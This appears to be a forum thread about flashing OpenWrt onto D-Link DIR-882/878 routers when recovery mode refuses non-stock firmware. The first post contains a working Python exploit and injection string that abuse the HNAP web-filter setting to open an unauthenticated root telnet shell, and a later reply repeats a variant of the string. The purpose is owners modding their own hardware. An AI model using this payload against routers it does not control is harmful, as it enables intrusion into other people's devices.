D-LINK Recovery Mode (DIR-882 DIR-878 DIR-867)

Notes on workaround for Recovery Mode not flashing openwrt firmware. Added to Wiki
==== Recovery Mode not accepting openwrt/3rd party firmware====
Nov 2020
I was unable to get the Recovery Mode to accept the openwrt-factory firmware snapshot (or any other non-D-LINK firmware image eg dd-wrt).

Once the recovery page would load once, it would go offline. Same with using the curl command. Trying to load the page a second time would never work.
Uploading firmware image with curl would work if it was the first request on the recovery mode interface. But with any non D-LINK firmware, it would not flash it, and become unresponsive.

However, unencrypted D-LINK firmware would flash successfully in the recovery mode. There are at least two versions of unencrypted firmware for the DIR-882.
The earliest firmware, DIR-882-US_REVA_FIRMWARE_v1.00B07.zip, as well as one in DIR-882_REVA_FIRMWARE_PATCH_v1.02B02_BETA.zip.

Using DIR-882-US_REVA_FIRMWARE_v1.00B07.bin allowed to open a telnetd server on the router using a known vulnerability. This may work on later firmware versions as well, untested which ones.

Once the telnet connection is made, the router's stock web interface can be used to upload the openwrt firmware. It will say the firmware failed/invalid, but will leave a copy in /tmp. This can then be flashed from within the telnet session using the stock mtd_write utility.

  • Try to enable the telnetd service using the vulnerability exploit first. If that doesn't work, downgrade to a known vulnerable version.
    • Of note, be sure the have connected computers IP in the 192.168.0.X/24 range while using stock firmware or recovery mode, and 192.168.0.X/24 once finished to connect to OpenWrt.
  • enable telnetd service.
    • using information and script from https://wzt.ac.cn/2020/08/28/bypass_auth/
    • Either use the web interface to save the following string into the "Web Filter". (Untested, but this is the effect of the script.)
      r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
    • or save this script as DIR-878.py and run it as eg #python DIR-878.py 192.168.0.1

import requests
import sys
import os

telnet_payload = r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
burp0_cookies = {"uid": "CataLpa"}
burp0_headers = {"Accept": "text/xml", \
                 "SOAPACTION": "\"http://purenetworks.com/HNAP1/SetWebFilterSettings\"", \
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", \
                 "Content-Type": "text/xml", \
                 "Accept-Encoding": "gzip, deflate", \
                 "Accept-Language": "zh-CN,zh;q=0.9", \
                 "Connection": "close"}

burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Body>\n<SetWebFilterSettings>\n\t<WebFilterMethod>DENY</WebFilterMethod>\n\t<NumberOfEntry>1</NumberOfEntry>\n\t<WebFilterURLs>\n\t\t<string>" + telnet_payload + "</string>\n\t</WebFilterURLs>\n</SetWebFilterSettings>\n</soap:Body>\n</soap:Envelope>"

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[*] Usage: python DIR-878.py <ip>")
        exit(0)
    IP = sys.argv[1]
    print("[*] Send payload to " + IP)
    burp0_url = "http://" + IP + ":80/HNAP1/?Login.html"
    try:
        res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if "200" in str(res.status_code):
            print("[*] Exploit success!")
            print("[!] telnet " + IP)
            exit(0)
        print("[*] Exploit failed. Bug fixed :(")
        exit(0)
    except Exception as e:
        print("[-] Exploit failed.")
        print(e)


- If not successful, download and extract unencrypted stock firmware
- Boot router into recovery mode, then flash vulnerable stock unencrypted firmware
fwfile=DIR-882_A1_FW100B07.bin curl -v -i -F "firmware=@${fwfile}" 192.168.0.1
- reboot
- retry exploit

  • connect by telnet, eg #telnet 192.168.0.1
  • upload openwrt-factory image, eg. openwrt-ramips-mt7621-dlink_dir-882-a1-squashfs-factory.bin through the stock firmware's update firmware page
  • in telnet session, run mtd_write -r -w write /tmp/firmware.img Kernel
    *(this was determined from examining the extracted stock firmware, eg. "#strings /bin/prog-cgi |grep mtd_write"
  • The openwrt firmware should flash and the system reboot into OpenWrt!
3 Likes

Thank you very much for the guide. :slightly_smiling_face:
I have a DIR-882 and I can confirm that the fw 1.11 is still exploitable using the python script.
However, after the "failed upgrade" I didn't find the openwrt factory file in the /tmp folder, but I succeeded copying it in a usb disk and the flashing using that file. Eg:

mtd_write -r -w write /mnt/Netac_OnlyDisk_91921/openwrt-ramips-mt7621-dlink_dir-882-a1-squashfs-factory.bin Kernel

This worked on DIR-2660 with the oldest FW available (FW 1.00 RevA1) at least up to the point of managing to login and having access to the mtd_write. In my case, the stock firmware also had wget, so it was easily possible to download the openwrt image to the router.

Also, I could access the page http://<router_address>/WebsiteFilter.html (which is not very visible from the stock gui) and add a filter similar to:

somesite.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'192.168.0.1')&

which would do the trick.

There is an easy, but strange, solution to get it to load into recovery...

After releasing the reset button in recovery mode, browse to http://192.168.0.1. Browse for the firmware, but DO NOT click "Upload." At this point, leave the browser window open, but put the router in recover mode again by holding down the reset button, power off, power on, wait 5 seconds and release the reset button... NOW click "Upload" in the browser. Firmware load will continue as expected.

3 Likes

For my DIR-878, I can not confirm this procedure. I tried it with the latest Manjaro and Firefox and also with the curl method. I found a good explanation for the problem here: [https://oldwiki.archive.openwrt.org/toh/d-link/dir-615#browser.issues]
Using the pre-historic portable app of Firefox 13 on the latest Windows 21H1, I was successfully able to flash OpenWRT 21.02.
I think this information should also be added in the wiki under the topic D-Link Recovery GUI Troubleshooting

this is not the same for all devices
the dir-878 is fine with windows browsersI use the current firefox
"the same firefox won't work on linux"
as the same for 1st logging into openwrt yon need to be in private mode
but my DIR-825 need windows xp to upload it' firmware in recover mode

hopefully soon you can just flash it from the dlink firmware